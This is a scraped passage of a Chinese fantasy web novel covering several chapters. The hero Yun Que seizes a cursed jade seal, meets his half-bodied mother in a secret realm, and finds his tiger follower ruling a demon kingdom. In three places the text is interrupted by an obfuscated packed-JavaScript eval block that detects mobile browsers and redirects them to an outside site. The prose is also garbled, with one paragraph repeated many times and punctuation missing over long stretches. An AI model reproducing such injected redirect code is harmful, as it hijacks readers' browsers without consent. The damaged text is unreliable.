“最初啊,我是藏石镇的仵作,整天和尸体打交道,后来混到刑部掌管天牢,整天和死囚打交道,大刑当中,我最喜欢一种,叫做刖刑,先把你的膝盖挖掉,换成铁质,这样你一辈子跪不下去,也坐不下去,只能整天站着,等你习惯了铁膝盖,就继续往下挖,再换成铁腿骨,这种刑罚最适合你这种硬骨气了。”云缺笑呵呵的道。 商暮听得脸色苍白,怒道:“你不如杀了我!否则我做鬼也不会放过你!” “当我不敢么!” 云缺突然动手,抓住商暮双手将其砸在墙上,冷声道: “玉玺,交出来。” 商暮之前始终镇定,即便听闻酷刑也能保持冷静,此时一听玉玺,立刻惊慌起来。 “什么玉玺,我听不懂!” “不交,那我自己拿喽。” 云缺探手抓紧商暮的衣领,这一举动,令商暮瞪大了眼睛,一时呆滞,连反抗都忘了。 云缺望着天花板,手里摸了几下。 “这个太大了,不是,这个一边大,好像也不是,哦在这呢。” 拿出玉佩,云缺松开了商暮。 商暮仍旧愣在原地,脸色由白转红,气得浑身发抖,妖气都快压不住了。 玉佩还能摸错,你明显故意占我便宜! 很快商暮恢复过来,嘴角翘起一抹冷笑,道: “别人的东西,最好别乱拿,小心丧命!” “是么,我就拿了,你能奈我何。” 云缺话音未落,突然从玉佩上爆发出一股黑烟,那烟雾瞬间凝聚成一颗黑色的妖狐之首,大口一张,将云缺整个吞了下去! 一切发生得太快。 云缺尚未反应过来,就消失了身影。 商暮则连连后退,对那黑色狐首极其畏惧,缩在墙角不敢动弹,如临大敌。 不多时, 狐首发生了变化,恢复成一团黑气重新没入玉佩当中。 云缺的身影重新出现,好端端站在牢房中间。 “你怎么没死!狐神显现,你居然没死!” 商暮满脸的不可置信,见鬼了一样。 “狐神?原来大商玉玺里封印着强大的妖灵,不错,这宝贝归我了。”云缺把玩了一番玉佩,挂在自己脖子上。 “不可能!不可能……怎么会这样……”商暮变得茫然,缓缓跌坐在地,整个人仿佛失去了灵魂。 大商玉玺不仅神秘强大,也是商暮的精神支柱,是大商复国的最大希望。 任何外人一旦夺走这块玉佩,都将会被玉佩中的狐神之魂吞噬,从无例外。 如今, 这份希望在商暮面前彻底打碎,被她珍视的传国玉玺,轻而易举被外人收取。 云缺笑呵呵的来到近前,道: “你不是很聪明么,算计我的老虎,你觉得,我为何能拥有你们大商的玉佩呢。” “你是混……” 商暮刚要大骂,忽然脑海里炸起一道闪电,一双美目愈发震惊起来,惊呼道:“皇族!你是大商皇族!” “忘了大商吧,大商没有皇族也没有平民,只有一个留在史册里的名字。” 云缺将储物袋还给了商暮,打开牢门,命人将商福也放了出来。 随后云缺离开天牢。 商家两兄妹的秘密已经完全揭晓,又得了一块玉佩至宝,云缺心情不错。 大商玉玺里的狐妖,比月魁要恐怖的得,应该是大商的镇国神兽,战死后神魂留在玉玺当中,唯有大商血脉之人方可驾驭。 这块玉佩至宝,成为了云缺的独有之物,即便被抢走,别人也用不成。 天色已晚,正要去找个地方吃顿宵夜。 商福商暮一直跟在身后。 吃饭的时候,这俩人也跟着吃,而且吃得理所当然。 “我不请客,你们自己结账,咱们井水不犯河水,谁都不认得谁。”云缺道。 “少主真会开玩笑!我们是少主的人,哪能不跟着呢。”商福笑嘻嘻的道。 “跟定你!吃定你!你是少主要对我们负责!”商暮恶狠狠的道。 “你们找云长吉去!我与大商没关联,再跟着我要打人了啊!” “只要跟着少主,我们任打任怨!嘿嘿!” “杀了我们也不走!” “癞皮狗啊你们!” “嘿嘿,少主说我是狗就是狗,汪汪!” 云雁飞离了大唐,飞往大秦方向。 云缺挺无奈,多了俩混饭吃的家伙,撵也撵不走。 途经冒土国的时候,云雁落在皇宫。 长老哈奇与冒盛率领群臣迎接,山呼万岁。 商福看得眼热不已,道: “少主居然已经立国了!太好了!我们大商遗民终于有家了!” 云缺瞥着对方道: “对,这里就是大商,商福封为大内总管,商暮封为通房丫鬟,这下你们满意了吧。” 说完这话,云缺的身影如同泡沫般崩裂,原来只是一具影身。 高空,云雁已经遥遥远去。 冒盛挠头道:“又改国号了啊,换得有点勤呐,大商大燕都一样,陛下想改什么改什么。” 长老哈奇热情的拉着商福,道:“总管大人,咱们这就上任,先去净身,再穿官袍。” “你谁呀你!少主明显开玩笑呢!我可不净身,我还没娶媳妇呢!”商福吓得连忙拉着妹子离开皇宫。 “不错,聪明些了,听出来少主在耍你了。”商暮鄙夷道。 “早看出少主在耍我了,哪能让我当太监呢。”商福神色古怪的道:“不过我觉得少主好像没耍你,通房丫鬟是要陪着主子睡觉的……” 商暮顿时俏脸一红,冷哼着甩手而去。 第696章 义薄云天武威王 少年城。 天澜宝境第二重开启的地点。 当天,城内人山人海,热闹非凡,众多修行者纷纷赶来,只为一年一度的宝境之行。 当宝境开启后,云缺第一个踏入其中。 第二个走进宝境的,是武威王忆白龙。 这次云缺前往宝境空间,只有一个目的,寻找母亲。 抵达化境后,忆白龙指引方向,与云缺一路疾行,终于在半天时间后,抵达了上次那片山谷。 山谷里的小屋,依旧存在。 云缺提着的心,终于放下了。 屋子还在,说明母亲应该没有危险。 “天澜宝境的气息,与以往不同。”忆白龙语气低沉的道:“这片空间,恐怕用不了多久便会坍塌。” 一听这个消息,云缺脚步更快,飞掠到木屋门前。 “娘!开门,我是云缺!” 满地落叶随着外人接近而飞起,在这句喝声过后纷纷落地。 山谷内一片安静。 没有任何精灵冒头,鸦雀无声。 嘎吱。 木门缓缓开启。 云缺推门而入。 忆白龙犹豫了一下,脚步停顿在小屋门前,没再多走一步。 接下来是母子团聚的时刻,这位从来没有过任何笑容的武威王,居然在嘴角泛起淡淡的笑意。 虽然笑容很淡,却发自内心。 木屋里,点着一盏油灯,灯光下,站着一位端庄的妇人。 看到妇人的那一刻,云缺的眼角滑下泪水。 眼前的女人,正是自己的母亲! “娘!” 云缺几步冲过去,将母亲拥在怀里,生怕母亲再一次离自己而去。 “我好想你,娘……” “云儿,娘也想你……” 白孤晴的声音带着颤抖,哽咽着说不出话来。 本是母子团聚的温馨时刻,然而在片刻之后,云缺的脸色就变得彻底苍白起来,两只手在微微颤抖。 怀里的母亲,太瘦了! 不! 不是瘦削,而是缺少了一半身体! 云缺猛然后退了一步,盯着母亲。 云缺看到母亲的左手袖子是空的,左脚也消失不见! 在云缺面前的白孤晴,只有右侧的一半身体! “娘!您怎么了!是谁伤您,我将他碎尸万段!” 云缺愤怒的怒吼着。 白孤晴以仅剩的单手拉着云缺,缓缓摇头道: “没人伤我,是我自己的选择,我来宝境十余年,只想找到他,问他一个问题。” 云缺知道母亲口中的他,指的必然是云长吉。 “娘的另一半身体呢?”云缺急切道。 “在大渊,我有特殊天赋,玄灵之体可沟通融合其他精灵,我用一半身体组成了半人半灵的灵躯,抵达大渊,这些年一直在大渊内行走,寻找……” 白孤晴微笑起来,道:“虽然还没找到,但我知道,他一定在大渊深处,云儿不必担心,只要灵躯不灭,娘就不会死。” 云缺眼圈发红,道: “如果灵躯在大渊里覆灭,娘是不是活不成了?” “生死有命,这是我的选择,如果不问出那句话,我这一生也无法解脱。”白孤晴轻叹道。 “娘,其实云长吉他……”云缺说出半句。 “我知道了,这些年随着修为提升,掩盖记忆的封印也随之冲破,当年的事,我已知晓。” 白孤晴轻抚着云缺的脸庞,道:“是爹娘对不起你,我与你爹之间的恩怨,不该由你来承受,你是无辜的,不论为娘是生是死,你永远是我最爱的儿子。” 云缺再也说不出话来,泪水遮蔽了视线。 木屋里,母子长谈良久。 云缺拉着母亲,诉说着从小到大的经历,讲到开心处,白孤晴开怀而笑,讲到惊险处,白孤晴紧张不已。 云缺彻底忘记了时间,沉浸在拥有母亲的美好时光里,仿佛有说不完的话,要对母亲倾述。 直至一天之后,周围的空间出现震荡,云缺才惊醒。 宝境二层,关闭在即。 “娘,我们出去!” 白孤晴缓缓摇头,道:“灵躯在大渊,我这半幅身体没法离开化境,出去,会掐断与灵躯之间的关联,会顷刻丧命,不必担心,等找到他,问出一句话,娘就会想办法离开大渊,永远陪在你身边。” “出不去……那我陪着娘留在这里!”云缺道。 “傻孩子,抵达宝境的外来者,时间一到都会被传送离开,去吧,别担心为娘,我会活下去。” 白孤晴微笑着摆挥手告别,道:“云儿,你要记得,无论有多少劫难,你也要勇敢的活下去,娘这一生做了很多错事,唯独没做错的,便是有了你,我的儿子,你永远是娘的骄傲。” “娘!娘……” 云缺伸手想要抓住母亲,可抓住的,只有一片虚无。 再睁眼时,已经不在是化境,而是少年城。 身旁,站着如同雕塑般一动不动的武威王。 云缺缓和了许久,压下心底的思念,回头看了眼忆白龙,苦涩道: “抱歉啊皇叔,让你在外面等了一天,也没见到我娘。” “无妨,一天而已,我可以等一辈子。”忆白龙冷冰冰的道。 云缺佩服得五体投地。 服气! 心服口服! 义薄云天武威王! 将母亲另一半身体在大渊的消息说出来之后,忆白龙锁紧眉峰。 “皇叔,怎么办,我娘去了大渊,还能不能回得来?” 忆白龙脸色凝重的缓缓摇头,道:“大渊,为死地,据说连通着地府,没有任何记载活人能从大渊返回。” “这么说,我娘回不来了……”云缺沉沉低语。 其实见到母亲,得知这个消息之后,云缺就知道母亲的灵躯,恐怕生机渺茫。 即便以母亲的天赋能利用灵躯在大渊行走,但估计是出不来的,否则大渊也不会被传为连接地府的第一险地。 “皇叔,我要去大渊,接我娘回来。” 云缺的目光变得无比坚毅。 无论天下绝险,还是阴曹地府,只要母亲还活着,自己就一定要倾尽全力! “我陪你走一趟大渊。”忆白龙毫不犹豫的道。 “这次大渊之行,可能会死。”云缺道。 “无妨,生死而已,比不过晴儿的半副身体。”忆白龙冷淡的道。 云缺笑了。 笑得有的苦涩。 “只要救回我娘,我肯定撮合皇叔与我娘在一起。”云缺道。 忆白龙默默的望着云缺,面无表情的道:“如此,甚好。” 武威王说得毫无感情,仍旧是往日里的冰冷男子,可是身后的剑匣却在噼啪乱响,白龙剑快要压不住了…… “对了皇叔,天澜宝境三重才能抵达大渊,三重入口在什么地方?”云缺问道。 忆白龙沉声道出四个字。 “天一道宗。” 云缺瞪大了眼睛。 宝境三重入口,居然在道宗! 这就有点麻烦了。 天一道宗高深莫测,恐怕不好打交道。 这次只顾着与母亲团聚,没时间去探听道宗弟子的动向,也不知道上次宝境一重开始的时候,道宗弟子布下的大阵是否开启。 道宗肯定打着宝境里某种东西的主意,究竟是什么,云缺不得而知。 天澜宝境每隔一年开启一重,与武威王定下一年后道宗再会,两人分别。 忆白龙回了大唐苦修境界,为前往大渊做准备,云缺则来到天龙城,面见秦皇。 到了皇宫,云缺直接开始摆烂。 秦皇看到云缺来了还挺高兴,发现云缺瘫坐在椅子上,一副生无可恋的表情,就知道这家伙又要坑人了。 “刚从宝境归来,莫非两手空空,想要什么,开口便是。”秦皇大度的道。 “我要我娘!陛下的妹妹被困在大渊了,陛下身为大秦之主,天下一品强者,云州枭雄,家事可不能不管!”云缺道。 “朕何时说过不管,说说经过,你娘她,究竟有何危险。”秦皇问道。 云缺将母亲的现状如实道出。 秦皇听闻后,渐渐锁紧眉峰,道: “大渊,可不是好地方,生人勿近之地,有去无回,如果要去的话,必须做好万全的准备。” “皇舅有何高见?”云缺道。 “朕没去过大渊,对其并不了解,但朕知晓一个道理。” 秦皇凝重道:“探索任何险地之前,必须做好两个准备,一是召集最强的同伴,二是打造最强的宝物,如此才有机会在险地中生存。” “有道理……武威王肯定前往,皇舅呢?”云缺说完,直勾勾盯着秦皇的眼睛,潜台词连傻子都听得出来了。 你不去,就比不过武威王! “当然要去。” 赢開洒然一笑,道:“朕的妹妹在大渊,身为大秦之主,岂能被区区险地吓住,天宫也好地府也罢,一年后,朕随你走一遭!” “陛下威武!万岁万万岁!”云缺一躬到地,起身后挑着眉毛道:“丞相大人与太尉大人应该也会同往,毕竟他们可都是忠臣,哪能让皇舅独自前往险地。” “哎,你不把大秦扒干净,你是不会罢休啊,也罢,他们俩也会同去,行了吧。”秦皇无奈的道。 “陛下圣明!”云缺再次拍出马屁。 不白拍。 这下有了四位强者同行,就算秦皇在大渊发挥不出一品之力,也是二品巅峰强者。 如此阵容,堪称云州顶级了。 不过云缺可不嫌多,而且觉得远远不够,帮手肯定越多越好。 大祭酒早已提前探索大渊,剑平之那个神棍也要去大渊,学宫里闲着没事儿的先生好像也不少…… 云缺忽然想起一事,道: “云长吉就在大渊……皇舅,我觉得星辰殿的殿主,有可能也在大渊深处。” 第697章 万妖国 星辰殿之主的存在,不仅是云缺心里的一根刺,亦是秦皇眼里的死敌。 秦皇缓缓颔首,道: “辰龙濒死退走,有可能借用了殿主之力,但他只能被动借用,无法如申猴那般直接召唤,辰龙与申猴都与殿主关联颇深,但地位又截然不同。” “地位不同?”云缺皱眉道:“莫非一个是心腹,一个是打手。” “你的比喻很恰当,朕在星辰殿的时候有一种隐约的感觉,殿主对辰龙十分看重,但是对申猴则是护佑为主。”秦皇道。 “我明白了,辰龙是属下,申猴是亲戚,估计星辰殿的主人也是九夷人,有可能是九夷人的老祖。”云缺猜测道。 “倒是有这个可能。”秦皇凝重道:“宝境三重开启之前,朕会尽力收集星辰殿的消息,你的任务,是尽快提升修为,大渊太凶险,四品破军去了,几乎没有活路,三品以下甚至没机会抵达大渊底部。” “皇舅放心,只要宝库对我敞开,一年时间,冲进三品应该没问题!”云缺信心十足的道。 秦皇摇头道: “你把三品归真想得太简单了,大秦的丹药灵草你尽可使用,但上三品境界不是那么容易达到的,不仅需要足够的修炼资源与惊人的天赋,还需要契机。” “契机?什么意思?”云缺奇怪道。 “你对九品到七品这三个境界,有何感悟。”秦皇问道。 “没什么感悟啊,就是打熬体魄修炼筋骨,需要大量灵材,钱多就行。”云缺道。 “六品宗师到四品破军呢,与之前有何不同。”秦皇道。 “更难了,需要感悟,拿捏住武道精髓,唯有如此才能水到渠成。”云缺道。 “你说得没错,九品到七品,看的是辛勤修炼与财富,六品到四品,看的是感悟与天赋,而三品到一品,需要的更多,毅力、天赋、感悟程度、财富、契机,缺一不可,而其中最关键的便是契机。” 秦皇沉声道:“七品到六品,隔着一条大河,难以跨越,四品到三品,则是一条天堑,只有跨过去,才能一马平川,否则将终生徘徊于三品之下。” “这么难吗?皇舅冲进三品,靠的是什么契机。”云缺好奇道。 “圣人遗骨。”秦皇如实道。 “我有文殿算不算契机?”云缺道。 “每个人的契机都不相同有人得到了天地至宝借此一跃跨过天堑有人得到了奇丹也算契机的一种还有人得到上古遗迹的传承妖族至强的血脉之力或者三品之上的功力都算契机至于文殿算不算只有你自己才知道外人不得而知。”秦皇道。 “应该算吧等有时间我试试看。”云缺说完好奇起来道:“皇舅功力还能当成契机吗难道功力能传给别人?如果能传的话皇舅能不能给我来点试试?” “武夫的功力可传不了功力没有巴掌要不要。”秦皇被气乐了。 “这么说道门儒家佛门乃至巫修都能传送功力了。”云缺道。 “非也功力不是那么轻易能传接的否则各大宗门的顶尖强者在寿元耗尽之际都会选择将功法传给门人如此一来自可让门派长青不败然而世间门派众多没听说有多少人能继承宗门强者的功力。”秦皇道。 “也对要不然大唐就会始终都有剑圣存在了。”云缺无奈道。 老剑圣的强大世间罕见然而真传弟子忆白龙并没得到剑圣的力量靠着自己修炼到如今的境界。 “是不是除了夺舍那种邪法 “有吞噬炼化也是一个办法只是没机会成功要炼化吞噬比自己境界还高的强者几乎做不到。” 秦皇略一思索道:“还有一个办法相对简单甚至可以说不费吹灰之力。” “什么办法?”云缺愈发好奇。 “双修。”秦皇道出了两个字。 “这个跟吞噬炼化的难度差不多嘛睡个比自己境界高的强者没比炼化吞噬容易啊。”云缺道。 “双修并非你想的那么简单更加艰难必须两人心神合一毫无杂念并且你情我愿完美契合若有一丝杂念将前功尽弃甚至有修为尽废的危险所以这个办法也很少有人动用。”秦皇道。 “一个比一个难还不如我自己苦修自己突破境界。”云缺道。 “你可以尝试但你的时间不多了一年而已你要尽一切可能提升修为。”秦皇道。 “皇舅放心我会努力的对 了皇舅宝境三重入口既然在天一道宗咱们要如何才能进去呢道宗会不会收门票。”云缺道。 “这点你可放心每次宝境三重开启道宗都会给出固定名额以大秦的力量带些人进去不成问题。”秦皇道。 “那好我从今天就开始修炼皇舅书房不错借我用用。”云缺道。 “你想用的是书房地底的宝库吧。”秦皇道。 “知我者皇舅也!”云缺笑道。 “去吧徐傲古也在宝库里他天天抱着灵石睡觉当做练手的目标最为合适不过。”秦皇道。 云缺高高兴兴要走忽然想起一事从储物袋里拿出一块类似钥匙的石片当时二哥徐傲古在大唐宝库里中了幻术当做银票甩给了云缺。 “皇舅看看这东西是二哥给的二哥说是宝贝对着月亮能看到石头里有明月倒影不知有何用途。” 秦皇接过去端详了良久神色凝重的道: “里面没有玄机也非重宝只是材质极其特殊世间罕见看不出有何珍贵之处不过朕知道与其类似的材料在何处。” “在哪?”云缺好奇道。 “万妖国妖塔。”秦皇沉声道。 从秦皇口中云缺得知了万妖国有一座神秘的妖塔没有人能接近每当夜晚妖塔内都会出现一轮明月那是皓月的倒影十分玄奇。 难道是开启妖塔的钥匙? 云缺百思不解将石片收进储物袋兴高采烈的冲进宝库。 日月更迭时间流逝。 半年之后云缺重新走出地面。 这半年苦修四品破军境已经完全稳固达到了巅峰程度距离三品只有一步之遥。 云缺非但没有高兴反而对修炼一途愈发敬畏起来。 果然如秦皇所言四品想要突破三品简直难如登天! 之前没到四品巅峰云缺感受不到如今破军圆满才愈发体 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14010465|110198||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 会到三品的高度需要仰望。 大秦宝库里灵石无数丹药成山。 云缺这半年耗费了天量的灵石与灵丹甚至饭都没吃过 即便如此想要冲进三品仍旧相差极远。 不是修炼不够而是缺了秦皇口中 的契机。 就像一道沉重的石门云缺已经有足够的力量将其推开偏偏门是锁住的必须找到钥匙先打开锁然后才能推门。 否则即便力气再大也推不开除非直接将石门砸烂才有抵达门内的机会。 以云缺估计自己只要一直修炼下去的确有一天可以砸烂石门冲进三品但需要太久至少十年以上甚至数十年之久这段漫长的岁月云缺等得起自己亲娘可等不起。 “契机……” 云缺目光凝重一跃而起踏上云雁飞向远处。 契机是需要寻找的。 守株待兔永远也等不来契机。 云缺定下了目的地万妖国! 这次远行云缺谁也没带孤身前往。 以现在巅峰破军的战力加上月魁云缺有十足的把握对抗三品强者。 数日后。 眼前出现了一片山脉群山环绕。 以地图所示万妖国的领地就在这片山脉当中。 离得极远即可发现一幕奇观。 在群山顶端云层密布乌云内电闪雷鸣却没有雨水落下。 这片雷云便是万妖国天然的屏障隔绝着天空外来者无法以飞行的方式抵达。 围着山脉飞行一圈儿云缺发现了万妖国的入口。 一处峡谷。 时而有妖兽从峡谷出没。 收起云雁云缺在峡谷外观察一阵儿戴上斗笠大步而入。 走进峡谷的同时妖气起伏遮蔽住人族气息。 万妖国之行云缺有着天然的优势无需伪装因为身上的妖气足够纯正。 这个本事其他人族修士可没有。 所以云缺才独自前往自己行动比较方便进退均可游刃有余。 实在不行溜之大吉。 峡谷内十分寒冷狂风呼啸。 云缺行进的速度很快在路上已经想好了如何应对守门的妖族。 能混则混进去 刚走到一半 忽然脚下的地面震动起来对面传来轰鸣声。 由声音分辨是一群妖兽狂冲所致。 刚来就被发现了? 峡谷两侧的石壁上有着不少天然的石洞云缺扫了眼四周闪身躲进一个石洞暂避。 一群硕大的牛妖轰鸣而过数量极多妖群将整个峡谷堵了个满满登登。 见妖群不是对自己而来云缺放心了退到洞窟深处等待妖群过去。 妖群数量很多一时半会跑不完云缺靠在石壁上默默等待并从身后石壁的震动来估算路过的妖群何时会结束。 不久后震动消失。 云缺本想离开洞窟忽然觉得背后的石壁有些不同寻常。 凹凸不平好像有什么图案刻在上面。 走了几步云缺动用妖瞳回头看去。 一眼之下云缺惊诧在原地。 第698章 卧底卧成了国主 墙壁凸凹不平,印着一幅巨大的壁画。 壁画的地面,是一名武夫,举刀朝天。 壁画的天空,是一头奇异的妖兽,有着两只巨大的翅膀,形如彩蝶,翅膀中心是个人形的女子,手持长剑。 墙壁凸凹不平,印着一幅巨大的壁画。 壁画的地面,是一名武夫,举刀朝天。 壁画的天空,是一头奇异的妖兽,有着两只巨大的翅膀,形如彩蝶,翅膀中心是个人形的女子,手持长剑。 墙壁凸凹不平,印着一幅巨大的壁画。 壁画的地面,是一名武夫,举刀朝天。 壁画的天空,是一头奇异的妖兽,有着两只巨大的翅膀,形如彩蝶,翅膀中心是个人形的女子,手持长剑。 墙壁凸凹不平,印着一幅巨大的壁画。 壁画的地面,是一名武夫,举刀朝天。 壁画的天空,是一头奇异的妖兽,有着两只巨大的翅膀,形如彩蝶,翅膀中心是个人形的女子,手持长剑。 墙壁凸凹不平,印着一幅巨大的壁画。 壁画的地面,是一名武夫,举刀朝天。 壁画的天空,是一头奇异的妖兽,有着两只巨大的翅膀,形如彩蝶,翅膀中心是个人形的女子,手持长剑。 墙壁凸凹不平,印着一幅巨大的壁画。 壁画的地面,是一名武夫,举刀朝天。 壁画的天空,是一头奇异的妖兽,有着两只巨大的翅膀,形如彩蝶,翅膀中心是个人形的女子,手持长剑。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14010466|110198||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 墙壁凸凹不平,印着一幅巨大的壁画。 壁画的地面,是一名武夫,举刀朝天。 壁画的天空,是一头奇异的妖兽,有着两只巨大的翅膀,形如彩蝶,翅膀中心是个人形的女子,手持长剑。 墙壁凸凹不平,印着一幅巨大的壁画。 壁画的地面,是一名武夫,举刀朝天。 壁画的天空,是一头奇异的妖兽,有着两只巨大的翅膀,形如彩蝶,翅膀中心是个人形的女子,手持长剑。 墙壁凸凹不平,印着一幅巨大的壁画。 壁画的地面,是一名武夫,举刀朝天。 壁画的天空,是一头奇异的妖兽,有着两只巨大的翅膀,形如彩蝶,翅膀中心是个人形的女子,手持长剑。 第699章 卑鄙虎 逍遥这个词儿,萍山君早就知道,但始终没有完全理解。 当他成为浮萍山的虎王,他觉得虎王就是逍遥,成为大晋的虎威将军后,觉得将军才是逍遥,如今坐上了万妖国的宝座,萍山君真正明悟,当国主才他娘是真逍遥! 一国之地,任我索取,想吃谁吃谁,想睡谁睡谁,看谁不爽直接一巴掌过去,根本不怕对方反抗。 “什么酒?味道这么淡,根本是水!敢给国主喝这种劣酒,找打!” 萍山君喝了口仆人递过来的酒,尝一口就勃然大怒,抬手要打。 结果打不下去。 他看到了一张熟悉的脸庞。 “王爷!” 萍山君急忙扔了酒杯,惊讶道:“王爷怎么来了?这两天我还想着给王爷报信儿呢。” 云缺关上门,道: “国主日理万机,哪能让你老人家给我报信啊。” 话音未落,已经掐住了萍山君的耳朵。 “你怎么当上国主了?我不是让你来卧底吗!” “哎呦哎呦!王爷手下留情!我是来卧底的啊,卧着卧着就卧成国主了,我也没办法!” 松开手,云缺坐在椅子上,道: “万妖国的国主呢,你怎么混上来的。” “稀里糊涂就上来了,那国主被我关起来了,嘿嘿!王爷您不知道,万妖国的国主其实是个弱鸡!就仗着一把宝刃吓唬人!” “怎么回事,仔细说说。” “好嘞!这事儿得从半年前说起,半年前有个孕妇找上门来,国主的宝剑碎裂,孕妇受伤退走……” 从萍山君的讲述中,云缺得知了真相。 孕妇,萍山君不认得,但云缺知道必定是春梅无疑。 春梅退走后,萍山君看到万妖国之主受伤,于是仗着胆子来皇宫里偷宝贝,结果被发现后,迫不得已出手。 这一动手不要紧,萍山君差点没把万妖国之主给打死,这才知道了对方只是个六阶妖族。 接下来的事就简单了。 萍山君的心机在云缺面前犹如孩童,根本不值一提,但是在万妖国,萍山君绝对是心眼儿最多的那个,他玩了一手挟天子以令诸侯,逼迫国主当着一群妖族高手的面,亲口让位给他,私下里又 秘密将国主关在地牢。 于是乎,萍山君理所当然的成为了万妖国之主。 云缺听得眼睛都发直。 这也行! 我也就会点空手套白狼,你这是空手套一国啊! 云缺不得不佩服萍山君的狗屎运,这家伙的运气实在太好。 转念一想,有个地方不对劲儿。 “没了宝刃,国主肯定震慑不住群妖,你又没有宝物,你怎么服众的?云缺疑惑道:“别跟我说靠着你英俊的外表,我会打人。 “当然不是!小白脸在万妖国不吃香,这边都喜欢粗犷的,母的长胡子,公的有艿子,这样的才抢手呢!萍山君信誓旦旦的道。 “哦,我明白了,这里不是万妖国,是变态国。云缺点头道。 “国主与那孕妇大战的时候,没人看到,只有我在附近,其实就是宝刃在战斗,那弱鸡国主一直躲在后边,之后我多了个心眼儿,弄了把类似的假货宝剑,这样就没人怀疑了。 不过这边很多大妖,甚至还有妖王!我在群妖面前激发了一次血脉之力,随后他们纷纷朝拜,说我是什么上古神虎血脉,连大妖在我面前都毕恭毕敬呢! 萍山君趾高气昂的道。 云缺随之恍然。 萍山君之所以能在万妖国站住脚,最大的依仗不是他心眼儿多,也不是那把假宝剑,而是他上古风雷虎的血脉之力。 妖族,最认血脉。 单单上古血脉这一点,就足够萍山君在这片万妖之地封王。 “万妖国主的那把剑,是不是叫青璃? “好像是这名字,当时那孕妇还大骂来着,专门骂那把剑,好像她不是来挑战国主,而是挑战那把青璃剑。萍山君狐疑道。 云缺懒得给老虎解释孕妇与宝剑的关联,询问出国主被关押的地点后,让萍山君带路。 不远,就在大屋后方。 地牢幽深,寒气阵阵。 云缺在地牢深处见到了被锁链封死的万妖国之主,还有另一个小个子胖墩。 小胖墩,正是出现在少年擂的冥欢。 国主的外貌也是个矮冬瓜,胖乎乎满脸横肉,只不过浑身被铁锁勒成了好几层,看得十分可笑。 地牢完 全由精铁打造连地面都是铁质极其坚固。 “王爷这俩家伙都是地底的妖兽非常会打洞碰到土就能遁走。”萍山君解释道。 云缺点头示意知道摆手示意萍山君退下。 “是你!是你这家伙!” 冥欢惊恐的大喊着他知道云缺的强大少年擂上要不是他逃得快必死无疑。 云缺没去理睬冥欢将目光落在万妖国之主身上。 “你的青璃剑从何而来。” “你算什么东西!胆敢质问本王!你和那卑鄙虎是一丘之貉!都不是好东西!”万妖国主怒骂道。 “我需要纠正你一下。” 云缺背着手笑呵呵的道:“我与萍山君绝非一丘之貉他太卑鄙而我有一颗宽容之心只要你说出真相我可以发誓放你们父子平安离开此地。” 万妖国之主犹豫了起来拿不准云缺说的是真是假。 冥欢大呼道: “父皇别信他!他比那老虎还不是东西!他不会放过我们的!” 云缺呵呵一笑道: “小人之心度君子之腹我乃燕皇大商太子大秦驸马大唐吉王大晋平天王 一连串的头衔听得两头妖物晕头转向。 哪有好人这么多身份的? 冥欢眼珠乱转道:“你发誓!只要你发下毒誓我们才告诉你青璃剑的消息!” 万妖国主赞同道:“对!用你家人发下毒誓!否则一个字我也不说!” “好!我梅钱在此发誓……” “你不叫梅钱!你叫云缺!别想蒙骗我们!”冥欢机敏的点出破绽。 “其实梅钱是我小名儿行我云缺在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14023132|110198||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 此发下毒誓只要你们告诉我青璃剑的真相我一定放你们平安离开若违背誓言我爹不得好死我爹天打雷劈我爹九世不得轮回即便轮回了也让我爹当九世的狗杂种!” 云缺这番毒誓发完不管对面两头妖族信不信反正云缺自己觉得痛快了。 万妖国主很满意道: “拿亲爹发如此毒誓看来你不会违背誓言好!我告诉你青璃剑是我 捡的。 云缺脸上的笑容渐冷,道: “不说实话,我可以让你们尝尝天牢大刑的滋味,我有的是时间听你们哀嚎。 “实话!真是捡的!多年前万妖国一片混乱,我被一头妖物追杀,无路可逃躲进了妖塔,其他妖族没人敢进来,只有我冒险去过,在妖塔里捡到的青璃剑,后来发现那把剑威力极其恐怖,我用它打败了许多妖物,终于登上国主的宝座。万妖国主连忙解释。 云缺始终在察言观色。 从细微的表情与语气判断,对方没说假话。 青璃剑,应该真是捡到的。 “你怎么知道剑的名字。 “我不知道剑叫什么,我是在妖塔里听到的这个名字,有个很轻的声音喊着青璃,一直回荡在妖塔里,所以我就将青璃当做宝剑的名字。万妖国主解释道。 “妖塔里,除了宝剑,还有什么。云缺追问。 “不知道,漆黑一片,有迷雾笼罩,我看不到,捡到宝剑后立刻逃了出来。万妖国主如实道。 “半年前,那个孕妇去了何处。云缺问道。 